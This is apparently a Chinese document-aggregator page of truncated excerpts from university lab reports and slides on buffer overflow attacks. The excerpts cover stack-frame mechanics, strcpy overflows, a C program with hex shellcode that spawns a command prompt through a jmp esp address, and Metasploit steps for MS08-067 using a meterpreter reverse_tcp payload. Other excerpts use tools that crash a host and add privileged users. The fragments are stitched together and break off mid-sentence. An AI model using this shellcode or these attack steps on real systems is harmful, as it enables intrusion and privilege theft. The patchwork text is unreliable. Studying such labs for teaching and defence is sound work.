实验三+缓冲区溢出

合集下载

缓冲区溢出攻击实验

缓冲区溢出攻击实验

HUNAN UNIVERSITY课程实验报告题目: Buflab-handout学生姓名学生学号专业班级计科1403(一)实验环境联想ThinkPadE540 VM虚拟机ubuntu32位操作系统(二)实验准备1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。

bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符串。

要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。

从给的PDF文件中我们得知getbuf函数为:/ /Buffer size for getbuf#define NORMAL_BUFFER_SIZE 32int getbuf(){char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;}这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。

2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。

Makecookie是产生一个userid。

输入的相应的用户名产生相应的cookie值。

**我产生的cookie值为0x5eb52e1c,如下图所示:Level0:实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿)Test源码:void test(){int val;// Put canary on stack to detect possible corruptionvolatile int local = uniqueval();val = getbuf();// Check for corrupted stackif (local != uniqueval()) {printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie) {printf("Boom!: getbuf returned 0x%x\n", val);validate(3);} else {printf("Dud: getbuf returned 0x%x\n", val);}}smoke源码:void smoke(){printf("Smoke!: You called smoke()\n");validate(0);exit(0);}对bufbomb函数进行反汇编并获取getbuf函数的反汇编代码:从上面的汇编代码中我们可以得知,lea指令把buf的指针地址(-0x28(%ebp))传给了Gets()。

03缓冲区溢出漏洞原理

03缓冲区溢出漏洞原理

程序进程内存布局
Windows进程内存空间
程序进程内存布局
Windows进程内存空间
缓冲区溢出攻击原理
缓冲区溢出攻击原理
栈帧 栈帧是一个函数执行的环境,每个函数都有自己的栈帧空间,系统栈
顶为正运行函数的栈帧。
低地址
栈帧寄存器: – ESP:栈指针寄存器,存放系统栈最上面 栈帧的栈顶的指针。 – EBP:基址指针寄存器,存放栈最上面栈
缓冲区溢出攻击原理
函数调用过程
高地址(栈底)
main ebp esp esp esp esp func ebp esp esp
低地址(栈顶)
… 2 1 Ret(EIP) ebp retVal
缓冲区溢出攻击原理
函数返回过程
保存返回值:通常将函数的返回值保存在Eax;
弹出当前栈帧,恢复上一个栈帧。 – ESP加上栈帧大小,回收栈帧空间 – 将栈帧底部保存的前栈EBP值弹入EBP寄存器 – 将函数返回地址弹给EIP寄存器
跳转:按照函数返回地址跳回母函数中继续执行。
缓冲区溢出攻击原理
函数调用过程示意图
缓冲区溢出攻击原理
缓冲区溢出攻击
向缓冲区中填入过多的数据,超出边界导致数据外溢,覆盖了相邻
的内存空间 利用缓冲区溢出覆盖改写关键数据 最终改变程序执行流程,干扰系统运行,破坏系统完全性以及执行 任意恶意代码
缓冲区溢出防御
操作系统防御机制
DEP
– 使堆和栈的数据不可执行,这样就无法运行堆或栈中的 shellcode ASLR – 加载的可执行模块内存地址随机化,模块地址不再固定,
无法使用事先固定地址跳转到shellcode,因为存放shellcode
的地址变成随机的了

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲区溢出攻击实验报告_林凯杰_30601340

缓冲区溢出攻击实验报告_林凯杰_30601340

缓冲区溢出攻击实验【实验要求】1)基本要求:编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。

语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。

并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。

分析并解释缓冲区溢出的原因。

提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。

2)提高要求:在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。

例:一个简单的shellcode程序:/* linux下的一个程序*/#include <stdio.h>void main() {char *name[2];name[0]="/bin/sh";name[1]=NULL;execve(name[0],name,NULL);}也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode[]="\xeb\xlf.......\bin\sh";然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用strcpy等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

1、局部变量与堆栈的关系在一个程序中,会声明各种变量。

静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。

如果局部变量使用不当,会造成缓冲区溢出漏洞。

例如,以下程序将命令行的第1个参数拷贝到buffer局部变量中。

void main(int argc,char **argv){char buf[80];strcpy(buf,argv[1]);}在一次函数调用中,堆栈中将被依次压入:参数、返回地址。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

实验六报告如图2所示的Windows 2000系统(虚拟机环境下)的计算机。

显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。

图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

在win10攻击机上运行metasploit console,即可进入Metasploit环境。

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。

namap扫描的结果里报告发现MS08-067:DISABLED。

这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。

MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC 请求,则该漏洞可能允许远程执行代码。

在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

信息安全实验-缓冲区溢出-蒋智超

信息安全实验-缓冲区溢出-蒋智超

缓冲区溢出一、实验目的掌握缓冲区溢出攻击的现象掌握使用缓冲区溢出工具的方法二、实验步骤一.利用ms06035漏洞进行攻击1.进入“ms06035漏洞利用工具”目录主机A单击工具栏中“ms06035工具”按钮,进入“ms06035漏洞利用工具”工作目录。

2.查看当前目录内容主机A用dir命令查看当前目录中的内容,如下图所示:图4-1-1 工具目录中的内容上图中标注的“ms06035.exe”即为ms06035漏洞利用工具。

3.使用“ms06035工具”进行攻击主机A执行“ms06035.exe 主机B的ip 445”命令,发起对主机B的攻击。

4.主机B观察被攻击现象主机B被攻击后出现蓝屏死机的现象(实验结束,主机B用虚拟机“快照X”恢复实验环境)。

二.利用ms08025漏洞进行攻击以下步骤两主机互相攻击对方,操作相同,故以主机A为例说明实验步骤。

「注」主机B单击“ms08025工具”按钮,进入实验目录。

将ms08025.exe复制到D盘的根目录下,以便实验下一步进行。

1.telnet登录系统(1)主机A在命令行下使用telnet登录同组主机,当出现“您将要把您的密码信息送到Internet区内的一台远程计算机上,这可能不安全,您还要发送吗(y/n)”当出现此提示时,选择n,输入登录账号“student”,密码“123456”。

登录成功如下图所示。

图4-1-2 telnet登录(2)主机A依次输入“d:”|“dir”查看同组主机D盘根目录,“ms08025.exe”即为实验工具。

图4-1-3 实验工具2.使用系统命令添加用户主机A使用“net user student1 /add”命令来试添加一个用户“student1”,执行该命令,出现“发生系统错误5,拒绝访问”的提示,如下图所示:图4-1-4 使用系统命令添加用户请解释出现上述现象的原因:。

3.查看ms08025工具使用方法主机A在telnet命令行中输入“ms08025.exe”,查看工具的使用方法,如下图所示:图4-1-5 ms08025工具使用方法4.使用ms08025工具添加用户主机A执行“ms08025.exe "net user student1 /add"”命令,提示命令成功完成,证明用户student1成功添加,如下图所示:图4-1-6 使用ms08025工具添加用户5.查看用户信息主机A用命令“net user student1”查看用户student1的信息,发现用户student1创建成功,隶属于Users组。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。

而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。

缓冲区溢出实验

缓冲区溢出实验

缓冲区溢出实验实验环境:实验准备:因为缓冲区溢出攻击是一个比较老的攻击方法,因此在现在的操作系统中都加入了防护机制。

在实验开始之前,为了能成功的看到结果,我们需要把这些防护机制关掉。

工程如下:第一步,关掉随机地址机制。

地址随机是一个主要防护机制,在缓冲区溢出攻击过程中需要覆盖并改写程序的返回地址。

使返回地址指向我们的代码,如果开始地址随机的话,我们就不能准确的计算出我们的代码的位置。

所以,我们使用以下命令(在root权限下),关掉该防护机制。

#sysctl -w kernel.randomize_va_space=0第二步,在编译的时候,要关掉栈区保护,并且允许栈区可执行。

这样,我们利用缓冲区溢出注入的代码才可以在栈里面执行。

$ gcc -fno-stack-protector example.c$ gcc -z execstack -o test test.c实验过程:首先分析被攻击的程序#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[24];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}main()函数读入一个文件,并调用bof(),进行拷贝。

缓冲区溢出的原理

缓冲区溢出的原理

缓冲区溢出的原理嘿,朋友们!今天咱来聊聊缓冲区溢出这个有意思的玩意儿。

你想想看啊,缓冲区就好比是一个小仓库,它有自己的容量限制。

就好像你家里的碗,能装的东西是有限的嘛。

但是呢,如果有人不停地往这个小仓库里塞东西,塞啊塞,超过了它能承受的极限,会咋样?那肯定就“嘭”的一下,爆啦!这就是缓冲区溢出啦!比如说啊,程序就像一辆在公路上跑的汽车,而缓冲区就是汽车的后备箱。

如果司机不管不顾地拼命往后备箱塞东西,塞得满满的都要溢出来了,那车还能正常跑吗?肯定会出问题呀!程序也是一样的道理呀。

这可不是开玩笑的事儿呢!缓冲区溢出可能会导致各种各样的奇怪现象。

就好像一个好好的人,突然就变得不正常了,一会儿抽风一会儿发呆的。

程序可能会突然崩溃,或者出现一些莫名其妙的错误。

哎呀呀,那可就麻烦大啦!有时候啊,一些不怀好意的人还会利用这个漏洞来搞破坏呢!他们就像那些偷偷摸摸的小偷,趁着缓冲区溢出这个机会,钻进程序里,偷取重要的信息或者搞些恶作剧。

你说气不气人!那怎么避免缓冲区溢出呢?这就需要我们在写程序的时候小心谨慎啦,就像我们走路要看好脚下一样。

要合理地分配和使用缓冲区,别一股脑儿地往里塞东西。

而且啊,要经常检查一下,看看有没有超量的情况。

咱再打个比方,就像你去超市买东西,你得看着购物车,别装得太满了呀,不然提都提不动,还可能把东西撒一地呢!写程序也是这个理儿。

还有啊,我们要加强对程序的检测和保护。

就像给家里装个防盗门一样,让那些不怀好意的人进不来。

要时刻保持警惕,不能让缓冲区溢出这个小捣蛋鬼得逞!总之呢,缓冲区溢出可不是小事儿,我们可得重视起来。

只有这样,我们的程序才能稳稳当当、顺顺利利地运行,不会出什么幺蛾子。

大家可都要记住啦!可别不当回事儿哟!不然到时候出了问题,后悔都来不及啦!这缓冲区溢出啊,就像是程序世界里的一个小陷阱,我们得小心翼翼地绕过去,可别一脚踩进去啦!。

缓冲区溢出漏洞实验

缓冲区溢出漏洞实验

缓冲区溢出漏洞实验缓冲区溢出漏洞实验⼀、了解缓冲区溢出及其原理1、缓冲区溢出概念缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本⾝的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输⼊超过缓冲区长度的字符,但是绝⼤多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使⽤的缓冲区,⼜被称为"堆栈"。

在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

2、缓冲区溢出攻击及其原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,使程序转⽽执⾏其它指令,以达到攻击的⽬的。

造成缓冲区溢出的原因是程序中没有仔细检查⽤户输⼊的参数。

这也是稍后做题的突破原理,缓冲区漏洞普遍并且易于实现,缓冲区溢出成为远程攻击的主要⼿段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的⼀切:植⼊并且执⾏攻击代码。

被植⼊的攻击代码以⼀定的权限运⾏有缓冲区溢出漏洞的程序,从⽽得到被攻击主机的控制权。

⼤多数的缓冲溢出攻击都是通过改变程序运⾏的流程到⼊侵者植⼊的恶意代码,其主要⽬的是为了获取超级⽤户的shell。

原理:将恶意指令存放在buffer中,这段指令可以得到进程的控制权,从⽽达到攻击的⽬的。

⼆、实验楼实现缓冲区溢出1、实验准备本实验需要32位环境下操作,输⼊命令下载必要的软件包。

sudo apt-get updatesudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-devsudo apt-get install -y python3.6-gdbm gdb2、初始设置Ubuntu 和其他⼀些 Linux 系统中,使⽤地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得⼗分困难,⽽猜测内存地址是缓冲区溢出攻击的关键。

缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告

实验六报告图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

在win10攻击机上运行metasploit console,即可进入Metasploit环境。

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script=smb-check-vulns.nse 192.168.56.101。

namap扫描的结果里报告发现MS08-067:DISABLED。

这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。

MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。

在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。

逆向分析实验3栈缓冲区溢出

逆向分析实验3栈缓冲区溢出

实验三栈缓冲区溢出一. 实验目的1、掌握栈缓冲区溢出原理;2、掌握利用shellcode劫持程序指令控制流的方法;二. 实验环境吾爱破解WinXP_52Pojie_2.0、Microsoft Visual C++6.0(在虚拟机里安装)、Ollydbg三. 实验内容注:由于实验环境、代码编写的不同,使用Ollydbg反汇编出来的指令的实际地址可能与本指导的地址有所差异,请按实际情况填写,并给出必要的截图。

1、观察栈溢出过程(1)使用VC++6.0编写一段C程序,解压之后双击sin.bat,在桌面创建vc6图标。

在桌面创建cpp文件。

源代码如下:其中,strcat函数是一个不安全函数,无字符串长度检查,执行该函数可能会产生栈溢出。

输入代码后,先编译再组建,确保0 errors。

默认点击在桌面创建工作区,在桌面的debug文件夹中看到生成的exe文件。

(2)编译程序生成Debug版本的EXE文件,使用IDA Pro打开EXE文件,可以看到左侧提供了源码声明的函数的起始位置,选择_main,可以看到main函数的起始位置为004010B0,则使用Ollydbg打开EXE,在该地址下断点,单步执行该程序。

(3)401116处令edx入栈,401117使用call指令调用fun函数,因此edx寄存器的是fun函数的参数,$edx= 0012D870 ,该寄存器代表变量名str 的地址,变量值为AAAAA 。

(4)跟踪步入call 00401005指令,进入fun函数,给出fun开始执行时的截图(从push ebp指令开始):(5)根据学过的知识,进入函数的第一步是栈处理,首先执行push ebp;movebp,esp;sub esp,0x58,为fun中的局部变量分配一定的内存空间,此时函数栈帧结构已经完成,此时右击寄存器窗口的EBP寄存器,点击“堆栈窗口中跟随”,在右下角堆栈窗口中可以观察到栈底的情况,给出堆栈窗口截图:根据截图得到此时的栈信息fun函数的返回地址为0040111C ,此地址为(4)步入的call指令的下一条指令的地址。

缓冲溢出攻击实验报告

缓冲溢出攻击实验报告

一、实验目的及要求1. 了解缓冲区溢出攻击的原理和类型。

2. 掌握缓冲区溢出攻击的实验方法和步骤。

3. 理解缓冲区溢出攻击的危害性。

4. 学习防范和避免缓冲区溢出攻击的方法。

二、实验环境1. 操作系统:Windows 102. 编程语言:C/C++3. 漏洞利用工具:Metasploit4. 实验环境搭建:使用虚拟机软件(如VMware)搭建实验环境,靶机为Windows 7 SP1,攻击机为Kali Linux。

三、实验内容1. 漏洞分析:分析实验环境中存在的缓冲区溢出漏洞。

2. 攻击实现:利用Metasploit工具对靶机进行攻击,实现远程代码执行。

3. 防御措施:学习防范和避免缓冲区溢出攻击的方法。

四、实验步骤1. 漏洞分析- 使用Ghidra工具对实验环境中的漏洞程序进行反汇编,分析程序中的缓冲区溢出漏洞。

- 发现漏洞程序存在缓冲区溢出漏洞,攻击者可以通过输入超长字符串来覆盖返回地址,从而控制程序的执行流程。

2. 攻击实现- 使用Metasploit工具中的`exploit/multi/handler`模块,设置攻击目标为靶机的IP地址和端口。

- 使用`set payload`命令设置攻击载荷,选择`windows/x64/meterpreter/reverse_tcp`,该载荷可以在攻击成功后与攻击机建立反向连接。

- 使用`set LHOST`命令设置攻击机的IP地址,使用`set LPORT`命令设置端口号。

- 使用`set target`命令设置攻击目标,选择漏洞程序的模块和参数。

- 使用`exploit`命令启动攻击,等待攻击成功。

3. 防御措施- 代码审计:对程序进行代码审计,及时发现并修复缓冲区溢出漏洞。

- 输入验证:对用户输入进行严格的验证,限制输入长度,防止输入超长字符串。

- 边界检查:在代码中添加边界检查,防止缓冲区溢出。

- 安全编程:遵循安全编程规范,使用安全的编程语言和库,避免使用存在漏洞的函数。

缓冲区溢出实验报告

缓冲区溢出实验报告

缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1.实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2.实验工具溢出对象:CCProxy 7.2(1)(2)调试工具:使用Vmware虚拟机,安装CCPROXY7.2进行实验调试。

3.实验步骤了解CCProxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。

•国内非常受欢迎的一款代理服务器软件•设置简单,使用方便•不仅支持常见的HTTP和SOCKS代理,而且支持FTP/Telnet等这类不常用的协议及其它协议关于CCProxy6.2缓冲区溢出漏洞说明CCProxy在代理Telnet协议时,可以接受Ping命令Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃CCProxy 6.2缓冲区溢出漏洞演示在目标主机运行CCProxy,使用默认设置运行CCProxy的机器IP是192.168.6.132使用telnet命令连接CCProxy:telnet 192.168. 6.132 23返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符A(ping AAAAAAAAAA),观察返回信息将字符A的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃CCProxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。

缓冲区溢出检测实验

缓冲区溢出检测实验
printf("Warning: buf1 is overflow!\n"); } getchar(); exit(1); } fprintf(fd,"%s\n\n",buf1); fclose(fd);
if(diff<=strlen(bufchar)) {
printf("Message: buf1 is overflow, overwritten myoutfile\n"); }
实验工具
MS08067 溢出工具
实验要点
本地缓冲区堆溢出 MS08
VM Server
VM Client
实验步骤指导
实验准备
实验概要:熟悉了解相关的实验工具。
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
【知识重点】 在引入一个基于堆的缓冲区溢出的例子前,首先简单介绍一个例题的意图。在一个堆栈 里边申请两块存储空间,处于低地址的 buf1 和处于高地址的 buf2。在 buf2 当中,存储了 一个名为 myoutfile 的字符串,用来存储文件名。buf1 用来接收输入,同时将这些输入字符 在程序执行过程中写入到 buf2 存储的文件名 myoutfile 所指向的文件中。
getchar(); return 0; }
通过 malloc 命令,申请了两个堆的存储空间。在这里要注意分配堆的存储空间时,存在
一个顺序问题。buf2 的申请命令虽然在 buf1 的申请命令之前,但是在运行过程中,内存空
间中 buf2 是在高地址位,buf1 是在低地址位。这个随操作系统和编译器的不同而不同。
//#include "stdafx.h" #include "iostream" #include "stdio.h" #include "stdlib.h" #include "memory.h"

缓冲区溢出的解决方法

缓冲区溢出的解决方法

缓冲区溢出的解决方法缓冲区溢出,这就像一个小杯子,你非要往里面倒很多很多水,水就会溢出来,弄得哪儿都是,在计算机里,这可是个大麻烦。

咱先得明白缓冲区是个啥。

就好比你有个小盒子,这个小盒子是用来放糖果的,规定只能放10颗。

这小盒子就是缓冲区,10颗糖果就是正常的数据量。

要是有人调皮,一下子往里面塞了15颗,那多出来的5颗没地方放,就溢出了。

在计算机里,数据就会跑到不该去的地方,可能把别的数据给覆盖了,这就乱套了。

那怎么解决这个事儿呢?一种办法就是把小盒子变大点,在计算机里就是合理地增大缓冲区的大小。

还是说那个放糖果的小盒子,咱知道有时候可能会收到12颗或者13颗糖果,那咱就把盒子设计成能放15颗的。

不过这可不能盲目地增大,得根据实际情况来。

就像你不能因为偶尔可能会多来几个客人,就把自己家房子盖得超级大,那多浪费啊。

在计算机里,要经过仔细的分析,预估可能出现的最大数据量,然后合理地增加缓冲区的容量。

再一个就是严格控制往缓冲区里放东西的量。

这就好比你请人往盒子里放糖果,你得盯着,告诉他最多就放10颗,不能多放。

在程序里,就要对输入的数据进行严格的校验。

比如说,如果一个程序只接受10个字符的输入,那就得设置好,一旦超过10个字符,就不让输入了,直接拒绝。

这就像门口的保安,不符合要求的就不让进。

还有啊,有的时候可以用一些特殊的技术手段。

这就像是给小盒子加个防护栏。

比如说在编程里使用一些安全的函数,这些函数就像是给缓冲区加了一层保护罩。

这些安全函数在处理数据的时候,会自动检查数据的大小是否合适,不合适就会采取措施,而不是像那些不安全的函数一样,任由数据乱塞,最后导致溢出。

咱也可以从程序设计的角度去考虑。

就好比盖房子,设计的时候就要考虑好布局。

在编写程序的时候,采用良好的编程规范。

比如说把不同功能的数据分开存放,就像家里把衣服和食物分开存放一样。

这样即使某个缓冲区有点小问题,也不容易影响到其他重要的数据和程序的运行。

缓冲区溢出实验报告

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告实验名称缓冲区溢出实验团队成员:注:团队成员贡献百分比之和为1教师评语:一.实验环境⏹操作系统:Windows XP SP3⏹编译平台:Visual C++ 6.0⏹调试环境:OllyDbg二.实验目的1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防措施。

三.实验容及步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法⏹缓冲区溢出模拟程序由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。

运行命令窗口的shellcode#include "string.h"#include "stdio.h"#include<windows.h>char name[]="\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41" ///覆盖ebp"\x12\x45\xfa\x7f" ////覆盖eip, jmp esp地址7ffa4512"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d""\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63""\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e""\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c""\x8d\x45\xf4\x50\xb8""\x77\x1d\x80\x7c" // LoadLibraryW的地址"\xff\xd0""\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73""\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72""\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63""\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57""\xba""\xc7\x93\xbf\x77" // System 的地址"\xff\xd2";int main(){char output[8];strcpy(output, name);for(int i=0;i<8&&output[i];i++){printf("\\0x%x",output[i]);}printf("\n");return 0;}由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。

缓冲区溢出攻击实验教程

缓冲区溢出攻击实验教程

1.实训目标
获取目标主机的最高权限,利用远程桌面登录。

理解ddos攻击的原理缓冲区溢出攻击原理一、实验环境
实验环境两台预装 Windows 2000/XP/2003 的主机,通过网络相连。

软件工具:metasploit frmamework
二、试验要求
1、实训要求:
获取目标主机的最高权限
三、实训步骤:
1、攻击目标
Windows server 2003 SP0
2、攻击目的
获取目标主机的最高权限,利用远程桌面登录并进行截图说明
3、攻击开始
步骤1:使用nmap对目标进行端口扫描
步骤2:目标开启135端口,可利用MS03-026漏洞进行入侵,用到的工具是metasploit frmamework。

(1)查询MS03-026漏洞所对应的溢出模块
(2)进入此模块
(3)设置有效载荷为执行特定命令,配置相关参数并显示出来
(4)执行攻击命令,成功进入目标系统
(7)添加系统账号并把它加入系统管理员组中
(8)远程登录服务器,溢出成功。

汇编作业_溢出区

汇编作业_溢出区

实验三报告一、实验步骤1、准备工作1.1缓冲区溢出机制缓冲区是程序运行时计算机中的一个连续的块,它保存了给定类型的数据。

缓冲区溢出指的是一种系统攻击的手段,通过程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,已达到攻击的目的。

1.2如何制造缓冲区溢出关于栈的机制,在这里不赘述,只描述一下我对简单的栈中缓冲区溢出机制的看法。

